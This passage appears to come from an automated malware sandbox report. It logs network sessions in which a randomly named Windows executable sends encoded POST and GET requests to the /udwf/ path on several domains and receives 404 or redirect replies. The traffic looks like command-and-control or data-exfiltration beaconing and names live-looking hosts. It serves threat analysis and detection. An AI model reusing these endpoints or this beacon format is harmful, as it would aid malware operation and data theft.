Nov 10, 2023 09:29:53.124702930 CET	282	IN	Data Raw: 75 79 62 6f 78 20 73 70 61 6e 20 61 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 7d 2e 63 6f 6e 74 65 6e 74 2d 62 75 79 62 6f 78 20 70 2c 2e 63 6f 6e 74 65 6e 74 2d 62 75 79 62 6f 78 20 68 32 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b Data Ascii: uybox span a{font-weight:bold}.content-buybox p,.content-buybox h2{display:inline;font-size:1.1em}.content-buybox h2{padding-right:.5em;text-transform:uppercase}.content-searchbox{text-align:center}.content-searchbox label{display:none}.conten
Nov 10, 2023 09:29:53.124771118 CET	284	IN	Data Raw: 2d 73 74 79 6c 65 2d 70 6f 73 69 74 69 6f 6e 3a 69 6e 73 69 64 65 7d 2e 63 6f 6e 74 65 6e 74 2d 77 65 62 61 72 63 68 69 76 65 20 64 69 76 20 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 20 75 6c 20 6c 69 7b 70 61 64 64 69 6e 67 3a 39 70 78 Data Ascii: -style-position:inside}.content-webarchive div .webarchive-block ul li{padding:9px 8px 8px 10px;background:linear-gradient(to bottom, #444 0, #363636 100%)}.content-webarchive div .webarchive-block ul li:first-child{border-top:1pAECx solid
Nov 10, 2023 09:29:53.124792099 CET	285	IN	Data Raw: 69 6e 74 2c 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 63 74 2d 75 73 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 65 6d 7d 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 64 32 64 32 64 7d 23 63 6f 6e 74 61 69 6e 65 72 2d 66 6f 6f 74 65 72 7b 63 Data Ascii: int,.content-contact-us{font-size:.9em}body{background:#2d2d2d}#container-footer{color:#595959}#container-footer a{color:#595959}.domain h1{color:#595959}.content-relatedlinks h2 span{color:#595959}.content-relatedlinks ul li{border-bottom-col
Nov 10, 2023 09:29:53.124866962 CET	286	IN	Data Raw: 29 3b 63 6f 6c 6f 72 3a 23 63 39 65 63 36 61 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 62 32 62 32 62 32 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 36 33 36 33 36 7d 2e 63 6f 6e 74 65 6e 74 2d 77 65 62 61 72 63 68 69 76 65 20 Data Ascii: );color:#c9ec6a;border-color:#b2b2b2;background-color:#363636}.content-webarchive h2{color:#999}.content-webarchive div div.webarchive-block h3 a:link,.content-webarchive div div.webarchive-block h3 a:visited{color:#595959}.content-webarchive
Nov 10, 2023 09:29:53.438736916 CET	288	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 72 65 6c 61 74 65 64 6c 69 6e 6b 73 20 68 32 7b 70 61 64 64 69 6e 67 3a 33 70 78 20 34 70 78 7d 2e 64 6f 6d 61 69 6e 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 32 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c Data Ascii: content-relatedlinks h2{padding:3px 4px}.domain h1{font-size:2.2em;font-weight:bold;text-decoration:none;text-transform:lowercase}#container-sedologo{display:block;text-align:center}.oneclick.twot #container-content{margin-left:5%;margin-right

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.10	49752	168.76.252.99	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:58.805006027 CET	305	OUT	POST /udwf/ HTTP/1.1 Host: www.lxdedu.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.lxdedu.com Referer: http://www.lxdedu.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 37 4e 4d 48 6d 50 5a 6e 39 49 6f 6a 54 66 50 6d 58 52 65 4c 46 69 4d 4f 79 46 48 73 64 47 74 43 58 72 56 35 6b 6f 79 66 6c 73 6d 69 6d 69 48 7a 79 49 59 5a 78 76 79 6c 6f 61 54 7a 6d 32 35 2f 6f 53 77 30 33 32 41 42 45 47 48 58 38 31 32 62 55 6a 66 33 74 44 66 49 70 73 54 4d 46 34 73 69 51 5a 4f 68 67 39 70 4f 4d 76 6d 45 65 48 59 2b 63 71 41 31 78 6b 48 34 31 75 71 62 70 77 6a 32 57 64 36 4b 73 69 61 37 41 59 6b 6a 4d 5a 45 70 7a 50 6b 37 64 36 39 67 73 66 41 42 74 33 67 62 50 75 6f 47 6b 33 55 4c 6d 6b 46 74 62 6f 6a 76 5a 41 3d 3d Data Ascii: G0Yxd2Q=7NMHmPZn9IojTfPmXReLFiMOyFHsdGtCXrV5koyflsmimiHzyIYZxvyloaTzm25/oSw032ABEGHX812bUjf3tDfIpsTMF4siQZOhg9pOMvmEeHY+cqA1xkH41uqbpwj2Wd6Ksia7AYkjMZEpzPk7d69gsfABt3gbPuoGk3ULmkFtbojvZA==
Nov 10, 2023 09:29:59.154952049 CET	305	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Date: Fri, 10 Nov 2023 08:29:57 GMT Connection: close Content-Length: 596 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 76 61 72 20 4c 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2c 44 3d 64 6f 63 75 6d 65 6e 74 2c 61 3d 4c 2e 70 61 74 68 6e 61 6d 65 2c 62 3d 22 22 2c 63 3d 22 2f 22 2c 64 3d 22 6c 65 6e 67 74 68 22 3b 0d 0a 61 3d 61 2e 73 70 6c 69 74 28 63 29 3b 0d 0a 66 6f 72 28 76 61 72 20 69 3d 31 3b 69 3c 61 5b 64 5d 2d 32 3b 69 2b 2b 29 7b 62 2b 3d 63 2b 61 5b 69 5d 3b 7d 0d 0a 62 2b 3d 63 3b 0d 0a 44 2e 77 72 69 74 65 28 22 42 61 63 6b 20 74 6f 20 3c 61 20 68 72 65 66 3d 5c 22 22 2b 62 2b 22 5c 22 3e 22 2b 4c 2e 68 6f 73 74 2b 62 2b 22 3c 2f 61 3e 20 2c 20 77 61 69 74 69 6e 67 2e 2e 2e 2e 2e 22 29 3b 0d 0a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 4c 2e 68 72 65 66 3d 62 3b 7d 2c 22 32 30 30 22 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>404 - </title></head><body><script type="text/javascript">var L=window.location,D=document,a=L.pathname,b="",c="/",d="length";a=a.split(c);for(var i=1;i<a[d]-2;i++){b+=c+a[i];}b+=c;D.write("Back to <a href=\""+b+"\">"+L.host+b+"</a> , waiting.....");setTimeout(function(){L.href=b;},"200");</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.10	49753	168.76.252.99	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:30:02.966656923 CET	307	OUT	POST /udwf/ HTTP/1.1 Host: www.lxdedu.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.lxdedu.com Referer: http://www.lxdedu.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 37 4e 4d 48 6d 50 5a 6e 39 49 6f 6a 53 2f 66 6d 52 41 65 4c 53 53 4d 4e 39 6c 48 73 45 57 74 47 58 72 70 35 6b 74 53 50 6c 66 53 69 6d 44 33 7a 78 4b 77 5a 32 76 79 6c 69 36 54 36 72 57 35 34 6f 53 38 38 33 7a 67 42 45 47 44 58 38 31 6d 62 55 30 4c 30 69 7a 66 4f 69 4d 54 4b 59 6f 73 69 51 5a 4f 68 67 39 39 6f 4d 76 2b 45 65 32 6f 2b 64 4c 41 32 76 30 48 37 79 75 71 62 69 51 6a 79 57 64 36 34 73 6a 33 67 41 61 73 6a 4d 59 30 70 7a 64 63 38 54 4b 39 6d 6d 2f 42 77 6b 6e 46 4a 58 73 5a 2b 6c 48 38 31 34 78 52 39 65 39 50 38 65 36 44 64 43 58 75 49 73 78 74 32 35 56 5a 6e 66 36 70 74 74 6d 4d 3d Data Ascii: G0Yxd2Q=7NMHmPZn9IojS/fmRAeLSSMN9lHsEWtGXrp5ktSPlfSimD3zxKwZ2vyli6T6rW54oS883zgBEGDX81mbU0L0izfOiMTKYosiQZOhg99oMv+Ee2o+dLA2v0H7yuqbiQjyWd64sj3gAasjMY0pzdc8TK9mm/BwknFJXsZ+lH814xR9e9P8e6DdCXuIsxt25VZnf6pttmM=
Nov 10, 2023 09:30:03.322711945 CET	307	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Date: Fri, 10 Nov 2023 08:30:01 GMT Connection: close Content-Length: 596 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 76 61 72 20 4c 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2c 44 3d 64 6f 63 75 6d 65 6e 74 2c 61 3d 4c 2e 70 61 74 68 6e 61 6d 65 2c 62 3d 22 22 2c 63 3d 22 2f 22 2c 64 3d 22 6c 65 6e 67 74 68 22 3b 0d 0a 61 3d 61 2e 73 70 6c 69 74 28 63 29 3b 0d 0a 66 6f 72 28 76 61 72 20 69 3d 31 3b 69 3c 61 5b 64 5d 2d 32 3b 69 2b 2b 29 7b 62 2b 3d 63 2b 61 5b 69 5d 3b 7d 0d 0a 62 2b 3d 63 3b 0d 0a 44 2e 77 72 69 74 65 28 22 42 61 63 6b 20 74 6f 20 3c 61 20 68 72 65 66 3d 5c 22 22 2b 62 2b 22 5c 22 3e 22 2b 4c 2e 68 6f 73 74 2b 62 2b 22 3c 2f 61 3e 20 2c 20 77 61 69 74 69 6e 67 2e 2e 2e 2e 2e 22 29 3b 0d 0a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 4c 2e 68 72 65 66 3d 62 3b 7d 2c 22 32 30 30 22 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>404 - </title></head><body><script type="text/javascript">var L=window.location,D=document,a=L.pathname,b="",c="/",d="length";a=a.split(c);for(var i=1;i<a[d]-2;i++){b+=c+a[i];}b+=c;D.write("Back to <a href=\""+b+"\">"+L.host+b+"</a> , waiting.....");setTimeout(function(){L.href=b;},"200");</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.10	49754	168.76.252.99	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:30:05.842101097 CET	309	OUT	POST /udwf/ HTTP/1.1 Host: www.lxdedu.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.lxdedu.com Referer: http://www.lxdedu.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 1220 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 37 4e 4d 48 6d 50 5a 6e 39 49 6f 6a 53 2f 66 6d 52 41 65 4c 53 53 4d 4e 39 6c 48 73 45 57 74 47 58 72 70 35 6b 74 53 50 6c 66 4b 69 6d 52 50 7a 78 74 73 5a 33 76 79 6c 68 36 54 2f 72 57 35 70 6f 53 6b 34 33 7a 73 52 45 45 4c 58 39 54 71 62 44 51 6e 30 35 6a 66 4f 74 73 54 50 46 34 73 37 51 5a 2b 6c 67 39 74 6f 4d 76 2b 45 65 31 67 2b 55 36 41 32 74 30 48 34 31 75 71 48 70 77 69 76 57 64 79 53 73 6a 7a 77 41 71 4d 6a 4d 34 6b 70 78 75 6b 38 52 71 39 6b 68 2f 42 6f 6b 6e 34 58 58 73 45 48 6c 47 59 54 34 78 70 39 50 6f 2b 4b 45 6f 2f 33 47 51 72 57 6a 43 6c 42 33 54 49 7a 50 37 35 33 76 69 2f 62 68 45 51 61 53 71 69 36 75 37 51 73 62 6a 6f 36 79 54 78 62 2b 36 64 42 76 6b 79 79 57 77 6c 59 68 68 6b 51 5a 38 6f 70 49 73 51 30 57 35 32 73 4d 4b 77 32 71 41 37 66 79 4a 46 37 49 2b 50 76 4c 52 79 4a 38 6f 67 6c 42 44 70 61 33 36 4f 2f 32 64 47 36 49 4a 6e 2f 37 7a 48 67 6f 46 4e 41 4f 4c 6f 6c 77 32 52 41 79 62 39 68 4d 37 6d 65 59 4a 5a 50 4a 32 52 4f 7a 49 70 55 61 45 75 52 73 44 6f 5a 74 46 62 55 48 37 65 32 32 7a 4d 58 78 36 71 51 38 4b 45 41 55 2f 50 4f 39 49 37 6a 54 36 50 76 4b 41 43 47 44 77 76 69 55 57 69 6b 2b 38 67 62 56 6f 64 56 2b 61 36 6c 37 71 46 48 71 42 32 66 66 4f 39 6a 5a 66 4c 4f 59 6d 55 68 63 74 72 49 38 65 4e 4c 4b 63 36 32 42 79 6b 6c 36 4c 33 46 6f 78 4f 64 32 46 6f 31 6a 32 2f 33 76 37 34 6f 75 74 51 6d 61 6e 72 5a 67 53 4d 4c 4b 46 67 76 44 6a 73 41 5a 62 41 6e 48 50 5a 65 61 79 66 4b 78 6e 51 39 35 43 47 55 35 65 72 2f 36 45 45 35 73 2f 4d 46 44 65 33 52 6a 70 71 78 79 71 63 73 44 73 62 43 32 7a 45 32 36 74 67 48 6e 78 78 68 30 47 6f 58 63 79 6d 53 4c 7a 62 70 31 4f 4b 6f 77 58 44 34 72 4b 4b 34 39 6d 6b 48 39 30 59 5a 79 6c 71 4f 6e 48 4b 53 4a 57 64 62 79 79 63 43 39 67 5a 64 47 49 37 57 51 37 79 58 35 59 48 78 4e 43 4b 79 34 63 72 61 73 2f 57 51 65 79 38 59 54 6e 2f 33 41 33 43 71 6f 79 42 45 44 6e 41 73 50 63 76 78 51 56 73 53 6b 6d 6d 76 2b 67 58 71 4f 33 67 63 64 52 30 73 4a 43 55 4d 79 41 4b 63 6b 50 67 6f 33 37 55 33 6d 58 4b 36 51 64 69 65 73 6c 30 55 42 44 65 6c 36 45 43 58 67 53 6f 52 6f 4b 2b 7a 70 66 70 59 4e 66 4b 56 6e 2f 4c 45 66 31 5a 75 4d 43 2f 43 63 32 53 49 58 66 43 50 4d 65 70 59 46 34 4e 2b 63 73 6a 59 59 2b 62 50 67 78 44 69 7a 35 67 39 6f 77 52 61 73 33 6a 69 6b 72 34 6d 79 41 36 55 75 6f 4d 72 45 48 63 73 6e 57 57 51 54 32 32 75 5a 59 5a 74 66 4c 48 71 41 32 31 75 47 48 79 79 42 79 72 57 6e 61 30 65 6d 74 6d 4e 71 71 49 5a 45 42 59 78 6e 2f 4f 76 6d 55 33 38 57 30 44 77 77 6f 33 6d 57 4c 39 64 76 6d 6f 37 50 30 79 64 35 4c 42 57 35 2f 33 39 4c 69 34 38 43 79 6a 6b 4e 45 65 6d 54 55 38 52 30 50 56 44 57 71 6c 42 53 44 73 51 61 39 4a 41 33 57 4b 58 43 2f 70 6b 58 4c 55 67 74 7a 79 42 78 47 6b 70 64 45 35 52 38 7a 31 66 57 77 4c 6c 61 36 6f 56 4d 73 34 49 66 6a 6d 30 30 71 52 6c 48 65 4b 6f 74 47 53 71 4c 32 43 74 55 64 2f 49 46 72 4c 42 74 78 74 68 5a 31 32 65 48 4c 63 44 35 6e 78 4f 56 4a 57 63 55 57 4b 63 35 38 4f 73 66 53 76 4c 43 33 62 79 48 48 77 31 33 32 41 78 66 6a 6e 56 53 74 48 54 68 42 79 78 69 2f 67 69 6d 54 66 6d 51 32 66 38 67 52 44 57 56 2f 6d 37 53 32 50 6e 2f 6b 70 36 61 6b 4a 4f 48 76 62 77 4f 50 63 6b 39 6f 72 39 6a 54 71 4b 63 50 56 64 50 59 6c 78 2f 74 58 78 46 76 75 64 53 63 49 72 6b 77 37 68 62 50 35 72 32 34 69 50 44 72 4b 69 30 41 44 31 6d 77 77 45 71 77 4d 64 6a 2b 78 58 49 31 62 36 37 36 6b 68 75 33 6d 75 4d 38 78 34 6c 44 44 63 32 43 62 68 56 77 54 61 39 32 31 6f 4a 2b 42 78 6a 67 77 2b 47 64 49 34 4e 59 44 47 35 70 4b 6f 4b 73 75 45 6e 61 64 55 68 47 48 78 6f 50 43 35 73 50 39 65 57 6c 66 36 49 4e 55 62 4c 33 5a 56 70 65 6a 34 76 34 65 35 50 54 61 52 6d 65 52 74 4c 7a 52 51 75 36 66 79 6c 64 38 72 Data Ascii: G0Yxd2Q=7NMHmPZn9IojS/fmRAeLSSMN9lHsEWtGXrp5ktSPlfKimRPzxtsZ3vylh6T/rW5poSk43zsREELX9TqbDQn05jfOtsTPF4s7QZ+lg9toMv+Ee1g+U6A2t0H41uqHpwivWdySsjzwAqMjM4kpxuk8Rq9kh/Bokn4XXsEHlGYT4xp9Po+KEo/3GQrWjClB3TIzP753vi/bhEQaSqi6u7Qsbjo6yTxb+6dBvkyyWwlYhhkQZ8opIsQ0W52sMKw2qA7fyJF7I+PvLRyJ8oglBDpa36O/2dG6IJn/7zHgoFNAOLolw2RAyb9hM7meYJZPJ2ROzIpUaEuRsDoZtFbUH7e22zMXx6qQ8KEAU/PO9I7jT6PvKACGDwviUWik+8gbVodV+a6l7qFHqB2ffO9jZfLOYmUhctrI8eNLKc62Bykl6L3FoxOd2Fo1j2/3v74outQmanrZgSMLKFgvDjsAZbAnHPZeayfKxnQ95CGU5er/6EE5s/MFDe3RjpqxyqcsDsbC2zE26tgHnxxh0GoXcymSLzbp1OKowXD4rKK49mkH90YZylqOnHKSJWdbyycC9gZdGI7WQ7yX5YHxNCKy4cras/WQey8YTn/3A3CqoyBEDnAsPcvxQVsSkmmv+gXqO3gcdR0sJCUMyAKckPgo37U3mXK6Qdiesl0UBDel6ECXgSoRoK+zpfpYNfKVn/LEf1ZuMC/Cc2SIXfCPMepYF4N+csjYY+bPgxDiz5g9owRas3jikr4myA6UuoMrEHcsnWWQT22uZYZtfLHqA21uGHyyByrWna0emtmNqqIZEBYxn/OvmU38W0Dwwo3mWL9dvmo7P0yd5LBW5/39Li48CyjkNEemTU8R0PVDWqlBSDsQa9JA3WKXC/pkXLUgtzyBxGkpdE5R8z1fWwLla6oVMs4Ifjm00qRlHeKotGSqL2CtUd/IFrLBtxthZ12eHLcD5nxOVJWcUWKc58OsfSvLC3byHHw132AxfjnVStHThByxi/gimTfmQ2f8gRDWV/m7S2Pn/kp6akJOHvbwOPck9or9jTqKcPVdPYlx/tXxFvudScIrkw7hbP5r24iPDrKi0AD1mwwEqwMdj+xXI1b676khu3muM8x4lDDc2CbhVwTa921oJ+Bxjgw+GdI4NYDG5pKoKsuEnadUhGHxoPC5sP9eWlf6INUbL3ZVpej4v4e5PTaRmeRtLzRQu6fyld8r
Nov 10, 2023 09:30:06.197726965 CET	310	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Date: Fri, 10 Nov 2023 08:30:04 GMT Connection: close Content-Length: 596 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 76 61 72 20 4c 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2c 44 3d 64 6f 63 75 6d 65 6e 74 2c 61 3d 4c 2e 70 61 74 68 6e 61 6d 65 2c 62 3d 22 22 2c 63 3d 22 2f 22 2c 64 3d 22 6c 65 6e 67 74 68 22 3b 0d 0a 61 3d 61 2e 73 70 6c 69 74 28 63 29 3b 0d 0a 66 6f 72 28 76 61 72 20 69 3d 31 3b 69 3c 61 5b 64 5d 2d 32 3b 69 2b 2b 29 7b 62 2b 3d 63 2b 61 5b 69 5d 3b 7d 0d 0a 62 2b 3d 63 3b 0d 0a 44 2e 77 72 69 74 65 28 22 42 61 63 6b 20 74 6f 20 3c 61 20 68 72 65 66 3d 5c 22 22 2b 62 2b 22 5c 22 3e 22 2b 4c 2e 68 6f 73 74 2b 62 2b 22 3c 2f 61 3e 20 2c 20 77 61 69 74 69 6e 67 2e 2e 2e 2e 2e 22 29 3b 0d 0a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 4c 2e 68 72 65 66 3d 62 3b 7d 2c 22 32 30 30 22 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>404 - </title></head><body><script type="text/javascript">var L=window.location,D=document,a=L.pathname,b="",c="/",d="length";a=a.split(c);for(var i=1;i<a[d]-2;i++){b+=c+a[i];}b+=c;D.write("Back to <a href=\""+b+"\">"+L.host+b+"</a> , waiting.....");setTimeout(function(){L.href=b;},"200");</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.10	49718	23.227.38.74	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:27:53.388838053 CET	101	OUT	GET /udwf/?G0Yxd2Q=d3XFPJoaQLbhU6h03+z0XCc0ox6MaGmyEGZO6Ue9tsKz9KlFIum590y6ceFEWr4SYEQ/fNsJ5znTfk9k4b6SgMzLlK80QmTNVA==&vhQT=aV8PeNo0MvDl1 HTTP/1.1 Host: www.littlehappiez.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Nov 10, 2023 09:27:53.617281914 CET	103	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Nov 2023 08:27:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 293 X-Sorting-Hat-ShopId: 83935199526 X-Storefront-Renderer-Rendered: 1 Location: https://littlehappiez.com/udwf?G0Yxd2Q=d3XFPJoaQLbhU6h03+z0XCc0ox6MaGmyEGZO6Ue9tsKz9KlFIum590y6ceFEWr4SYEQ/fNsJ5znTfk9k4b6SgMzLlK80QmTNVA==&vhQT=aV8PeNo0MvDl1 X-Redirect-Reason: https_required X-Frame-Options: DENY Content-Security-Policy: frame-ancestors 'none'; X-ShopId: 83935199526 X-ShardId: 293 Vary: Accept powered-by: Shopify Server-Timing: processing;dur=11, db;dur=5, asn;desc="60068", edge;desc="SEA", country;desc="US", pageType;desc="404", servedBy;desc="kpkm", requestID;desc="113f9483-cc9b-4298-a502-d546ed1fa34a" X-Shopify-Stage: production X-Dc: gcp-us-west1,gcp-us-central1,gcp-us-central1 